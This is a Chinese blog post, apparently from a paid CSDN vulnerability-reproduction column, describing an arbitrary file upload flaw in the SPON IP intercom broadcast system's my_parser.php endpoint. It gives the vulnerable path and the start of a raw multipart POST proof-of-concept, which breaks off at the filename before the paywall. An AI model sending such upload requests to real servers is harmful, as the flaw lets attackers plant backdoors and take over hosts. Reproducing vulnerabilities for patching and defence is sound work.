SPON IP网络对讲广播系统 my_parser 文件上传（含批量验证poc）

今天晚上早睡觉

已于 2024-04-04 20:50:31 修改

阅读量80

点赞数

分类专栏：漏洞复现文章标签： web安全

于 2024-04-04 20:50:18 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137382178

版权

漏洞复现专栏收录该内容

360 篇文章 159 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了SPON IP网络对讲广播系统中my_parser.php接口存在的任意文件上传漏洞，详细描述了漏洞的复现步骤和POC使用方法，并给出了修复建议。

摘要由CSDN通过智能技术生成

0x01漏洞描述

此系统my_parser.php接口存在任意文件上传漏洞，恶意攻击者可能会上传恶意的后门文件，使服务器失陷

0x02漏洞复现

（1）payload利用地址：

/upload/my_parser.php

（2）文件上传POC（/upload/files/xxx.txt）：

POST /upload/my_parser.php HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------402880817133959846752911683338
Connection: close

-----------------------------402880817133959846752911683338
Content-Disposition: form-data; name="upload"; filename="tt.txt

了解本专栏